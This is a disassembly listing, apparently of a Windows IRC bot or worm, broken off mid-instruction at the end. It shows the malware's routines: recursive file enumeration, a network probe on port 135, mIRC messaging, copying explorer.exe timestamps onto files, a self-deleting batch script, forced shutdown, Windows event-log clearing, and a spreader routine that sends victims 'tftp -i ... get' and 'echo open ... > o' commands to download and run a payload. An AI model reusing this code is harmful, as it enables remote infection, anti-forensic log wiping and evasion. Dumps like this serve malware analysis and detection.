loc_4114D6 push esi push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_41139C add esp, 10h loc_4114D6: ; CODE XREF: sub_41146E+54j push esi call sub_414EC0 lea esi, [esi+eax+1] pop ecx cmp [esi], bl jnz short loc_4114B3 loc_4114E5: ; CODE XREF: sub_41146E+43j push edi call sub_415C20 pop ecx pop edi pop esi loc_4114EE: ; CODE XREF: sub_41146E+1Fj pop ebx pop ebp retn sub_41146E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4114F1 proc near ; DATA XREF: sub_401C87+5100o var_49C = byte ptr -49Ch var_29C = dword ptr -29Ch var_298 = byte ptr -298h var_218 = byte ptr -218h var_115 = byte ptr -115h var_114 = byte ptr -114h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 49Ch mov eax, [ebp+arg_0] push ebx push esi push edi mov ecx, 0A7h mov esi, eax lea edi, [ebp+var_29C] rep movsd mov dword ptr [eax+298h], 1 lea eax, [ebp+var_114] push eax call sub_414EC0 xor ebx, ebx cmp [ebp+eax+var_115], 5Ch pop ecx jnz short loc_411546 lea eax, [ebp+var_114] push eax call sub_414EC0 pop ecx mov [ebp+eax+var_115], bl loc_411546: ; CODE XREF: sub_4114F1+3Fj lea eax, [ebp+var_218] push eax push offset unk_4432C8 lea eax, [ebp+var_49C] push 200h push eax call sub_417E80 add esp, 10h cmp [ebp+var_8], ebx jnz short loc_41158B push ebx lea eax, [ebp+var_49C] push [ebp+var_C] push eax lea eax, [ebp+var_298] push eax push [ebp+var_29C] call sub_40764A add esp, 14h loc_41158B: ; CODE XREF: sub_4114F1+78j lea eax, [ebp+var_114] push ebx push eax lea eax, [ebp+var_218] push eax lea eax, [ebp+var_298] push [ebp+var_C] push eax push [ebp+var_29C] call sub_411609 push eax lea eax, [ebp+var_49C] push offset dword_4432F0 push eax call sub_417CB0 add esp, 24h cmp [ebp+var_8], ebx jnz short loc_4115E9 push ebx lea eax, [ebp+var_49C] push [ebp+var_C] push eax lea eax, [ebp+var_298] push eax push [ebp+var_29C] call sub_40764A add esp, 14h loc_4115E9: ; CODE XREF: sub_4114F1+D6j lea eax, [ebp+var_49C] push eax call sub_40F927 push [ebp+var_10] call sub_409979 pop ecx pop ecx push ebx call dword_4E03A0 ; ExitThread pop edi pop esi pop ebx sub_4114F1 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411609 proc near ; CODE XREF: sub_4114F1+B9p ; sub_411609+9Cp var_548 = byte ptr -548h var_348 = byte ptr -348h var_244 = byte ptr -244h var_140 = byte ptr -140h var_114 = byte ptr -114h var_113 = byte ptr -113h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 548h push ebx push esi push edi mov esi, 104h push [ebp+arg_10] lea eax, [ebp+var_244] push offset dword_443310 push esi push eax call sub_417E80 mov edi, dword_4E03EC add esp, 10h lea eax, [ebp+var_140] push eax lea eax, [ebp+var_244] push eax call edi ; FindFirstFileA mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_4116C2 loc_41164F: ; CODE XREF: sub_411609+B7j test [ebp+var_140], 10h jz short loc_4116B0 cmp [ebp+var_114], 2Eh jnz short loc_411673 cmp [ebp+var_113], 0 jz short loc_4116B0 cmp [ebp+var_113], 2Eh jz short loc_4116B0 loc_411673: ; CODE XREF: sub_411609+56j lea eax, [ebp+var_114] push eax lea eax, [ebp+var_348] push [ebp+arg_10] push offset dword_443318 push esi push eax call sub_417E80 push [ebp+arg_14] lea eax, [ebp+var_348] push eax push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_411609 add esp, 2Ch mov [ebp+arg_14], eax loc_4116B0: ; CODE XREF: sub_411609+4Dj ; sub_411609+5Fj ... lea eax, [ebp+var_140] push eax push ebx call dword_4E03E8 ; FindNextFileA test eax, eax jnz short loc_41164F loc_4116C2: ; CODE XREF: sub_411609+44j push ebx mov ebx, dword_4E03DC call ebx ; FindClose push [ebp+arg_C] lea eax, [ebp+var_244] push [ebp+arg_10] push offset dword_443320 push esi push eax call sub_417E80 add esp, 14h lea eax, [ebp+var_140] push eax lea eax, [ebp+var_244] push eax call edi ; FindFirstFileA mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_41174C loc_4116FD: ; CODE XREF: sub_411609+141j lea eax, [ebp+var_114] inc [ebp+arg_14] push eax lea eax, [ebp+var_548] push [ebp+arg_10] push offset dword_443328 push 200h push eax call sub_417E80 push 1 lea eax, [ebp+var_548] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40764A add esp, 28h lea eax, [ebp+var_140] push eax push esi call dword_4E03E8 ; FindNextFileA test eax, eax jnz short loc_4116FD loc_41174C: ; CODE XREF: sub_411609+F2j push esi call ebx ; FindClose mov eax, [ebp+arg_14] pop edi pop esi pop ebx leave retn sub_411609 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411757 proc near ; CODE XREF: sub_41178F+125p ; sub_41178F+14Cp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_4] xor esi, esi sub edi, [ebp+arg_C] test edi, edi jle short loc_411785 loc_411768: ; CODE XREF: sub_411757+2Cj push [ebp+arg_C] mov eax, [ebp+arg_0] add eax, esi push [ebp+arg_8] push eax call sub_41A5D0 add esp, 0Ch test eax, eax jz short loc_41178B inc esi cmp esi, edi jl short loc_411768 loc_411785: ; CODE XREF: sub_411757+Fj xor al, al loc_411787: ; CODE XREF: sub_411757+36j pop edi pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_41178B: ; CODE XREF: sub_411757+27j mov al, 1 jmp short loc_411787 sub_411757 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41178F proc near ; CODE XREF: sub_40C16C+16p var_2010 = byte ptr -2010h var_200E = byte ptr -200Eh var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 2010h call sub_4181D0 mov eax, [ebp+arg_4] push esi dec eax push edi jz short loc_4117D0 dec eax jz short loc_4117AE dec eax loc_4117A8: ; CODE XREF: sub_41178F+57j xor eax, eax loc_4117AA: ; CODE XREF: sub_41178F+3Fj ; sub_41178F+169j pop edi pop esi leave retn ; --------------------------------------------------------------------------- loc_4117AE: ; CODE XREF: sub_41178F+16j push 3 push 1388h push [ebp+arg_0] call dword_4D66A8 ; inet_addr push eax call sub_40A5E3 add esp, 0Ch neg eax sbb eax, eax and eax, 3 jmp short loc_4117AA ; --------------------------------------------------------------------------- loc_4117D0: ; CODE XREF: sub_41178F+13j push 6 push 1 push 2 call dword_4D66E8 ; socket mov esi, eax or edi, 0FFFFFFFFh cmp esi, edi mov [ebp+arg_4], esi jz short loc_4117A8 push ebx xor ebx, ebx push 10h lea eax, [ebp+var_10] push ebx push eax call sub_417700 add esp, 0Ch mov [ebp+var_10], 2 push 87h call dword_4D6668 ; ntohs push [ebp+arg_0] mov [ebp+var_E], ax call sub_408766 pop ecx mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push esi call dword_4D6610 ; connect cmp eax, edi jz loc_4118EC push ebx push 48h push offset dword_443348 push esi call dword_4D66B8 ; send cmp eax, edi jz loc_4118EC mov esi, 2000h push ebx lea eax, [ebp+var_2010] push esi push eax push [ebp+arg_4] call dword_4D6680 ; recv cmp eax, edi jz loc_4118EC cmp [ebp+var_200E], 0Ch jnz short loc_4118EC push ebx push 18h push offset dword_443394 push [ebp+arg_4] call dword_4D66B8 ; send cmp eax, edi jz short loc_4118EC push ebx lea eax, [ebp+var_2010] push esi push eax push [ebp+arg_4] call dword_4D6680 ; recv mov esi, eax cmp esi, edi jz short loc_4118EC cmp [ebp+var_200E], 2 jnz short loc_4118EC push 10h push offset loc_4433B0 lea eax, [ebp+var_2010] push esi push eax call sub_411757 add esp, 10h test al, al jz short loc_4118CC cmp esi, 12Ch setnl bl inc ebx jmp short loc_4118EC ; --------------------------------------------------------------------------- loc_4118CC: ; CODE XREF: sub_41178F+12Fj push 10h push offset dword_4433C4 lea eax, [ebp+var_2010] push esi push eax call sub_411757 add esp, 10h neg al sbb eax, eax and eax, 3 mov ebx, eax loc_4118EC: ; CODE XREF: sub_41178F+9Bj ; sub_41178F+B2j ... push [ebp+arg_4] call dword_4D6700 ; closesocket mov eax, ebx pop ebx jmp loc_4117AA sub_41178F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4118FD proc near ; CODE XREF: sub_401C87+BB6p ; sub_401C87+BE7p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_0] xor esi, esi cmp edi, esi jz short loc_411988 mov eax, [ebp+arg_4] cmp eax, esi jz short loc_411988 cmp [ebp+arg_8], esi jz short loc_411988 cmp byte ptr [eax], 0 jz short loc_411988 push ebx push edi call sub_433AD0 mov ebx, eax pop ecx test ebx, ebx jz short loc_411983 push [ebp+arg_4] push edi call sub_417E00 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_41197C sub eax, edi push eax push edi push ebx call sub_417760 push [ebp+arg_8] mov eax, ebx sub eax, edi and byte ptr [eax+esi], 0 call sub_414EC0 push eax push [ebp+arg_8] push ebx call sub_419200 push [ebp+arg_4] call sub_414EC0 add eax, esi push eax push ebx call sub_418880 push ebx push edi call sub_418870 add esp, 30h mov esi, edi loc_41197C: ; CODE XREF: sub_4118FD+3Cj push ebx call sub_415C20 pop ecx loc_411983: ; CODE XREF: sub_4118FD+2Bj mov eax, esi pop ebx jmp short loc_41198A ; --------------------------------------------------------------------------- loc_411988: ; CODE XREF: sub_4118FD+Cj ; sub_4118FD+13j ... xor eax, eax loc_41198A: ; CODE XREF: sub_4118FD+89j pop edi pop esi pop ebp retn sub_4118FD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41198E proc near ; CODE XREF: sub_401B0B+E9p ; sub_40E91A+F4p var_7D0 = dword ptr -7D0h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 7D0h push ebx push esi push edi xor ebx, ebx push 7D0h lea eax, [ebp+var_7D0] push ebx push eax call sub_417700 mov esi, [ebp+arg_0] push esi call sub_414EC0 xor edi, edi add esp, 10h inc edi cmp eax, edi jge short loc_4119C6 or eax, 0FFFFFFFFh jmp short loc_411A2D ; --------------------------------------------------------------------------- loc_4119C6: ; CODE XREF: sub_41198E+31j xor ecx, ecx cmp eax, ebx mov [ebp+var_7D0], esi jle short loc_4119E7 loc_4119D2: ; CODE XREF: sub_41198E+57j mov dl, [ecx+esi] cmp dl, 0Ah jz short loc_4119DF cmp dl, 0Dh jnz short loc_4119E2 loc_4119DF: ; CODE XREF: sub_41198E+4Aj mov [ecx+esi], bl loc_4119E2: ; CODE XREF: sub_41198E+4Fj inc ecx cmp ecx, eax jl short loc_4119D2 loc_4119E7: ; CODE XREF: sub_41198E+42j xor edx, edx cmp eax, ebx jle short loc_411A0F loc_4119ED: ; CODE XREF: sub_41198E+7Fj cmp [edx+esi], bl jnz short loc_411A0A lea ecx, [edx+esi+1] cmp [ecx], bl jz short loc_411A0A cmp edi, 1F4h jge short loc_411A0F mov [ebp+edi*4+var_7D0], ecx inc edi loc_411A0A: ; CODE XREF: sub_41198E+62j ; sub_41198E+6Aj inc edx cmp edx, eax jl short loc_4119ED loc_411A0F: ; CODE XREF: sub_41198E+5Dj ; sub_41198E+72j cmp [ebp+arg_4], ebx jz short loc_411A2B lea eax, [ebp+var_7D0] push 7D0h push eax push [ebp+arg_4] call sub_419330 add esp, 0Ch loc_411A2B: ; CODE XREF: sub_41198E+84j mov eax, edi loc_411A2D: ; CODE XREF: sub_41198E+36j pop edi pop esi pop ebx leave retn sub_41198E endp ; =============== S U B R O U T I N E ======================================= sub_411A32 proc near ; CODE XREF: sub_411A8C+33p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_4] push esi push edi mov edi, [esp+8+arg_8] mov ecx, 1F4h xor esi, esi rep stosd lea edi, [eax-1] test edi, edi jl short loc_411A6B push ebx mov ebx, edi loc_411A4F: ; CODE XREF: sub_411A32+36j mov eax, [esp+0Ch+arg_0] mov al, [esi+eax] push eax call sub_411A6E pop ecx inc esi mov ecx, [esp+0Ch+arg_8] mov [ecx+eax*4], ebx dec ebx cmp esi, edi jle short loc_411A4F pop ebx loc_411A6B: ; CODE XREF: sub_411A32+18j pop edi pop esi retn sub_411A32 endp ; =============== S U B R O U T I N E ======================================= sub_411A6E proc near ; CODE XREF: sub_411A32+25p ; sub_411A8C+69p arg_0 = byte ptr 4 movsx eax, [esp+arg_0] push eax call sub_41A690 cmp al, 61h pop ecx jl short loc_411A89 cmp al, 7Ah jg short loc_411A89 movsx eax, al sub eax, 60h retn ; --------------------------------------------------------------------------- loc_411A89: ; CODE XREF: sub_411A6E+Ej ; sub_411A6E+12j xor eax, eax retn sub_411A6E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411A8C proc near ; CODE XREF: .data:0040FA30p ; sub_40FAA5+10p ... var_100C = dword ptr -100Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 100Ch call sub_4181D0 push ebx push esi push edi push [ebp+arg_0] call sub_414EC0 push [ebp+arg_4] mov [ebp+var_4], eax call sub_414EC0 mov esi, eax lea eax, [ebp+var_100C] push eax push esi push [ebp+arg_4] mov [ebp+var_C], esi call sub_411A32 add esp, 14h dec esi mov edi, esi jmp short loc_411B3E ; --------------------------------------------------------------------------- loc_411ACC: ; CODE XREF: sub_411A8C+B4j mov eax, [ebp+arg_4] movsx eax, byte ptr [esi+eax] push eax call sub_41A690 mov ebx, eax mov eax, [ebp+arg_0] movsx eax, byte ptr [edi+eax] push eax call sub_41A690 pop ecx cmp eax, ebx pop ecx jz short loc_411B3C loc_411AEE: ; CODE XREF: sub_411A8C+AEj mov ebx, [ebp+arg_0] mov al, [edi+ebx] push eax call sub_411A6E mov edx, [ebp+var_C] mov eax, [ebp+eax*4+var_100C] pop ecx mov ecx, edx sub ecx, esi cmp ecx, eax jle short loc_411B0F mov eax, ecx loc_411B0F: ; CODE XREF: sub_411A8C+7Fj add edi, eax cmp edi, [ebp+var_4] jge short loc_411B4C mov eax, [ebp+arg_4] lea esi, [edx-1] movsx eax, byte ptr [esi+eax] push eax call sub_41A690 movsx ecx, byte ptr [edi+ebx] push ecx mov [ebp+var_8], eax call sub_41A690 pop ecx pop ecx mov ecx, [ebp+var_8] cmp eax, ecx jnz short loc_411AEE loc_411B3C: ; CODE XREF: sub_411A8C+60j dec edi dec esi loc_411B3E: ; CODE XREF: sub_411A8C+3Ej test esi, esi jg short loc_411ACC mov eax, [ebp+arg_0] add eax, edi loc_411B47: ; CODE XREF: sub_411A8C+C2j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_411B4C: ; CODE XREF: sub_411A8C+88j xor eax, eax jmp short loc_411B47 sub_411A8C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411B50 proc near ; CODE XREF: sub_401C87+378Bp ; sub_401C87+502Bp var_100 = byte ptr -100h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 100h push esi call dword_4E0350 ; RtlGetLastWin32Error mov esi, eax push 0 lea eax, [ebp+var_100] push 100h push eax push 400h push esi push 0 push 1200h call dword_4E02CC ; FormatMessageA lea eax, [ebp+var_100] loc_411B89: ; CODE XREF: sub_411B50+46j mov cl, [eax] cmp cl, 1Fh jg short loc_411B95 cmp cl, 9 jnz short loc_411B98 loc_411B95: ; CODE XREF: sub_411B50+3Ej inc eax jmp short loc_411B89 ; --------------------------------------------------------------------------- loc_411B98: ; CODE XREF: sub_411B50+43j ; sub_411B50+5Bj ... and byte ptr [eax], 0 dec eax lea ecx, [ebp+var_100] cmp eax, ecx jb short loc_411BB2 mov cl, [eax] cmp cl, 2Eh jz short loc_411B98 cmp cl, 21h jl short loc_411B98 loc_411BB2: ; CODE XREF: sub_411B50+54j lea eax, [ebp+var_100] push esi push eax mov esi, offset dword_4DD408 push [ebp+arg_0] push offset aSErrorSD_ ; "%s Error: %s <%d>." push 200h push esi call sub_417E80 add esp, 18h mov eax, esi pop esi leave retn sub_411B50 endp ; =============== S U B R O U T I N E ======================================= sub_411BDA proc near ; CODE XREF: sub_401C87+1F8Dp push esi push 0 call dword_4D6638 ; OpenClipboard test eax, eax jz short loc_411C11 push 1 call dword_4D6658 ; GetClipboardData mov esi, eax test esi, esi jz short loc_411C11 push edi push esi call dword_4E0404 ; GlobalLock push esi mov edi, eax call dword_4E0400 ; GlobalUnlock call dword_4D66BC ; CloseClipboard mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_411C11: ; CODE XREF: sub_411BDA+Bj ; sub_411BDA+19j xor eax, eax pop esi retn sub_411BDA endp ; =============== S U B R O U T I N E ======================================= sub_411C15 proc near ; CODE XREF: sub_401C87+3527p arg_0 = dword ptr 4 push ebp push esi xor esi, esi push esi push offset aMirc_2 ; "mIRC" call dword_4D6674 ; FindWindowA mov ebp, eax cmp ebp, esi jz short loc_411C95 push ebx push edi push offset aMirc_3 ; "mIRC" push 1000h push esi push 4 push esi push 0FFFFFFFFh call dword_4E0410 ; CreateFileMappingA push esi push esi mov edi, eax push esi push 0F001Fh push edi call dword_4E040C ; MapViewOfFile push [esp+10h+arg_0] mov ebx, eax push ebx call sub_417CB0 pop ecx pop ecx push esi push 1 push 4C8h push ebp call dword_4D66C4 ; SendMessageA push esi push 1 push 4C9h push ebp call dword_4D66C4 ; SendMessageA push ebx call dword_4E0408 ; UnmapViewOfFile push edi call dword_4E032C ; CloseHandle xor eax, eax pop edi inc eax pop ebx jmp short loc_411C97 ; --------------------------------------------------------------------------- loc_411C95: ; CODE XREF: sub_411C15+14j xor eax, eax loc_411C97: ; CODE XREF: sub_411C15+7Ej pop esi pop ebp retn sub_411C15 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411C9A proc near ; CODE XREF: sub_401404+200p var_11C = byte ptr -11Ch var_18 = byte ptr -18h var_10 = byte ptr -10h var_8 = byte ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 11Ch push ebx push esi xor esi, esi push edi lea eax, [ebp+var_11C] push esi push eax push 104h push esi push offset aExplorer_exe ; "explorer.exe" push esi call dword_4D6720 ; SearchPathA test eax, eax jz short loc_411D39 mov edi, 80h push esi push edi push 3 push esi mov esi, dword_4E03D8 push 1 lea eax, [ebp+var_11C] push 80000000h push eax call esi ; CreateFileA mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_411D39 lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_10] push eax push ebx call dword_4E0418 ; GetFileTime push ebx mov ebx, dword_4E032C call ebx ; CloseHandle push 0 push edi push 3 push 0 push 2 push 40000000h push [ebp+arg_0] call esi ; CreateFileA mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_411D39 lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_10] push eax push esi call dword_4E0414 ; SetFileTime push esi call ebx ; CloseHandle loc_411D39: ; CODE XREF: sub_411C9A+2Aj ; sub_411C9A+51j ... pop edi pop esi pop ebx leave retn sub_411C9A endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 454h push esi xor esi, esi push 10h lea eax, [ebp-10h] push esi push eax call sub_417700 push 44h lea eax, [ebp-54h] push esi push eax call sub_417700 push dword ptr [ebp+0Ch] lea eax, [ebp-454h] mov dword ptr [ebp-54h], 44h mov dword ptr [ebp-28h], 1 push dword ptr [ebp+8] mov [ebp-24h], si push offset aSS_5 ; "%s %s" push 400h push eax call sub_417E80 add esp, 2Ch lea eax, [ebp-10h] push eax lea eax, [ebp-54h] push eax push esi push esi push 28h push esi push esi lea eax, [ebp-454h] push esi push eax push dword ptr [ebp+8] call dword_4E0330 ; CreateProcessA neg eax sbb eax, eax pop esi and eax, [ebp-8] leave retn ; =============== S U B R O U T I N E ======================================= sub_411DBC proc near ; CODE XREF: sub_401C87+133Dp push 1 push offset aSeshutdownpriv ; "SeShutdownPrivilege" call sub_413788 pop ecx pop ecx push 50005h push 6 call dword_4D65A8 ; ExitWindowsEx neg eax sbb eax, eax neg eax retn sub_411DBC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411DDE proc near ; CODE XREF: sub_401C87+2221p ; sub_410C53+45Fp var_764 = byte ptr -764h var_364 = byte ptr -364h var_260 = byte ptr -260h var_15C = byte ptr -15Ch var_58 = dword ptr -58h var_4C = dword ptr -4Ch var_2C = dword ptr -2Ch var_28 = word ptr -28h var_14 = byte ptr -14h var_4 = byte ptr -4 push ebp mov ebp, esp sub esp, 764h push esi xor esi, esi cmp dword_437094, esi push edi jz short loc_411E02 cmp dword_4D6734, esi jnz short loc_411E02 push esi call sub_401000 pop ecx loc_411E02: ; CODE XREF: sub_411DDE+13j ; sub_411DDE+1Bj call sub_409826 lea eax, [ebp+var_764] push eax push 400h call dword_4E0370 ; GetTempPathA lea eax, [ebp+var_764] push eax lea eax, [ebp+var_260] push offset aSdel_bat ; "%sdel.bat" push eax call sub_417CB0 add esp, 0Ch lea eax, [ebp+var_260] push esi push esi push 2 push esi push esi push 40000000h push eax call dword_4E03D8 ; CreateFileA mov edi, eax cmp edi, esi jbe loc_411F62 lea eax, [ebp+var_260] push eax lea eax, [ebp+var_764] push offset a@echoOffRepeat ; "@echo off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"... push eax call sub_417CB0 add esp, 0Ch lea eax, [ebp+var_4] push esi push eax lea eax, [ebp+var_764] push eax call sub_414EC0 pop ecx push eax lea eax, [ebp+var_764] push eax push edi call dword_4E03B4 ; WriteFile push edi call dword_4E032C ; CloseHandle push 10h lea eax, [ebp+var_14] push esi push eax call sub_417700 push 44h lea eax, [ebp+var_58] pop edi push edi push esi push eax call sub_417700 add esp, 18h mov [ebp+var_58], edi mov edi, 104h lea eax, [ebp+var_15C] push edi push eax push esi mov [ebp+var_4C], offset dword_4DD608 mov [ebp+var_2C], 1 mov [ebp+var_28], si call dword_4E0360 ; GetModuleHandleA push eax call dword_4E0334 ; GetModuleFileNameA lea eax, [ebp+var_15C] push eax call dword_4E035C ; GetFileAttributesA cmp eax, 0FFFFFFFFh jz short loc_411F0A lea eax, [ebp+var_15C] push 80h push eax call dword_4E0358 ; SetFileAttributesA loc_411F0A: ; CODE XREF: sub_411DDE+118j lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_260] push eax lea eax, [ebp+var_764] push offset aComspecCSS ; "%%comspec%% /c %s %s" push eax call sub_417CB0 add esp, 10h lea eax, [ebp+var_364] push edi push eax lea eax, [ebp+var_764] push eax call dword_4E041C ; ExpandEnvironmentStringsA lea eax, [ebp+var_14] push eax lea eax, [ebp+var_58] push eax push esi push esi push 4008h push 1 push esi lea eax, [ebp+var_364] push esi push eax push esi call dword_4E0330 ; CreateProcessA loc_411F62: ; CODE XREF: sub_411DDE+72j pop edi pop esi leave retn sub_411DDE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411F66 proc near ; CODE XREF: sub_401C87+575Ep var_294 = byte ptr -294h var_94 = dword ptr -94h var_84 = dword ptr -84h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 294h push edi xor edi, edi push 94h lea eax, [ebp+var_94] push edi push eax call sub_417700 add esp, 0Ch lea eax, [ebp+var_94] mov [ebp+var_94], 94h push eax call dword_4E039C ; GetVersionExA cmp [ebp+var_84], 2 jnz short loc_411FFC push [ebp+arg_10] push [ebp+arg_C] call dword_4D65E8 ; OpenEventLogA push edi push eax call dword_4D65F8 ; ClearEventLogA test eax, eax jz short loc_411FEE push [ebp+arg_10] push offset dword_443494 loc_411FC7: ; CODE XREF: sub_411F66+94j lea eax, [ebp+var_294] push eax call sub_417CB0 push edi lea eax, [ebp+var_294] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40764A add esp, 20h jmp short loc_412026 ; --------------------------------------------------------------------------- loc_411FEE: ; CODE XREF: sub_411F66+57j call dword_4E0350 ; RtlGetLastWin32Error push eax push offset unk_4434B0 jmp short loc_411FC7 ; --------------------------------------------------------------------------- loc_411FFC: ; CODE XREF: sub_411F66+3Fj lea eax, [ebp+var_294] push offset unk_4434D8 push eax call sub_417CB0 push edi lea eax, [ebp+var_294] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40764A add esp, 1Ch loc_412026: ; CODE XREF: sub_411F66+86j pop edi leave retn sub_411F66 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 5A0h push ebx push esi push edi xor edi, edi push 10h lea eax, [ebp-10h] push edi push eax call sub_417700 add esp, 0Ch lea eax, [ebp+0Ch] mov word ptr [ebp-10h], 2 push eax call dword_4D66A8 ; inet_addr push dword ptr [ebp+0C4h] mov [ebp-0Ch], eax call dword_4D6668 ; ntohs push edi push 1 push 2 mov [ebp-0Eh], ax call dword_4D66E8 ; socket mov esi, eax cmp esi, 0FFFFFFFFh mov [ebp+0C4h], esi jz loc_41212C lea eax, [ebp-10h] push 10h push eax push esi call dword_4D6610 ; connect cmp eax, 0FFFFFFFFh jz loc_41212C mov ebx, 400h push edi lea eax, [ebp-5A0h] push ebx push eax push esi call dword_4D6680 ; recv mov esi, offset byte_4370EC push esi push esi push dword ptr [ebp+8] call sub_408882 pop ecx mov edi, 190h push eax push offset aTftpISGetSS ; "tftp -i %s get %s &%s\r\n" lea eax, [ebp-1A0h] push edi push eax call sub_417E80 movzx eax, word ptr dword_4D63A0 add esp, 18h push esi push esi push eax push dword ptr [ebp+8] call sub_408882 pop ecx push eax push offset aEchoOpenSDOE_0 ; "echo open %s %d > o&echo user 1 1 >> o "... lea eax, [ebp-1A0h] push edi push eax call sub_417E80 add esp, 1Ch lea eax, [ebp-1A0h] push 0 push eax call sub_414EC0 pop ecx push eax lea eax, [ebp-1A0h] push eax push dword ptr [ebp+0C4h] call dword_4D66B8 ; send cmp eax, 0FFFFFFFFh jnz short loc_412130 loc_41212C: ; CODE XREF: .data:0041207Fj ; .data:00412095j xor al, al jmp short loc_412154 ; --------------------------------------------------------------------------- loc_412130: ; CODE XREF: .data:0041212Aj push 0 lea eax, [ebp-5A0h] push ebx push eax push dword ptr [ebp+0C4h] call dword_4D6680 ; recv push dword ptr [ebp+0C4h] call dword_4D6700 ; closesocket mov al, 1 loc_412154: ; CODE XREF: .data:0041212Ej pop edi pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412159 proc near ; CODE XREF: sub_401C87+4331p var_1C0 = byte ptr -1C0h var_15C = byte ptr -15Ch var_F8 = byte ptr -0F8h var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_84 = dword ptr -84h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 1C0h lea eax, [ebp+var_94] mov [ebp+var_94], 94h push eax call dword_4E039C ; GetVersionExA cmp [ebp+var_90], 4 jnz short loc_41219E cmp [ebp+var_8C], 0 jnz loc_412228 xor eax, eax inc eax cmp [ebp+var_84], eax jz locret_412226 loc_41219E: ; CODE XREF: sub_412159+27j ; sub_412159+DFj push esi push edi push offset aNetapi32_dll_0 ; "netapi32.dll" call dword_4E037C ; LoadLibraryA mov esi, eax push offset aNetmessagebu_0 ; "NetMessageBufferSend" push esi call dword_4E0380 ; GetProcAddress push 32h mov edi, eax push [ebp+arg_0] lea eax, [ebp+var_1C0] push eax call sub_41A890 push 32h lea eax, [ebp+var_15C] push [ebp+arg_4] push eax call sub_41A890 push 32h lea eax, [ebp+var_F8] push [ebp+arg_8] push eax call sub_41A890 lea eax, [ebp+var_F8] push eax call sub_41A860 add eax, eax push eax lea eax, [ebp+var_F8] push eax lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_1C0] push eax push 0 call edi ; FindFirstFileA add esp, 3Ch mov edi, eax push esi call dword_4E0420 ; FreeLibrary mov eax, edi pop edi pop esi locret_412226: ; CODE XREF: sub_412159+3Fj leave retn ; --------------------------------------------------------------------------- loc_412228: ; CODE XREF: sub_412159+30j cmp [ebp+var_8C], 0Ah jz short loc_41223E cmp [ebp+var_8C], 5Ah jnz loc_41219E loc_41223E: ; CODE XREF: sub_412159+D6j xor eax, eax inc eax leave retn sub_412159 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412243 proc near ; CODE XREF: sub_401300+F7p ; sub_40CE3E+Ap ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi call dword_4E036C ; GetTickCount push eax call sub_417DB0 pop ecx call sub_417DC0 mov esi, [ebp+arg_0] mov [ebp+var_4], eax mov eax, [ebp+arg_4] fild [ebp+var_4] sub eax, esi mov 